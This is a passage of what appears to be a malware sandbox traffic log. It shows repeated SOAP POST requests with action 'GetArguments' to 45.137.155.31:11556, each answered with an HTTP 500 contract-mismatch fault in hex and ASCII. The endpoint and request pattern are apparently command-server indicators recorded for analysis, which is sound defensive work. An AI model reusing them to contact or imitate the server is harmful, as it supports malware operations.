74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:02.058590889 CEST	1306	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:02.145145893 CEST	2047	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:02.219572067 CEST	2048	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:01 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:03.229676962 CEST	4799	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:03.299985886 CEST	4821	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:03.370943069 CEST	4822	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:03 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:04.385783911 CEST	4822	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:04.455791950 CEST	4822	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:04.526737928 CEST	4823	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:04 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:05.541631937 CEST	5745	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:05.611464024 CEST	5745	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:05.681380987 CEST	5747	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:05 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:06.698107004 CEST	5747	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:06.767100096 CEST	5747	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:06.839437008 CEST	5748	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:06 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:07.854629040 CEST	8976	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:07.924712896 CEST	8976	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:08.008780003 CEST	9216	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:07 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
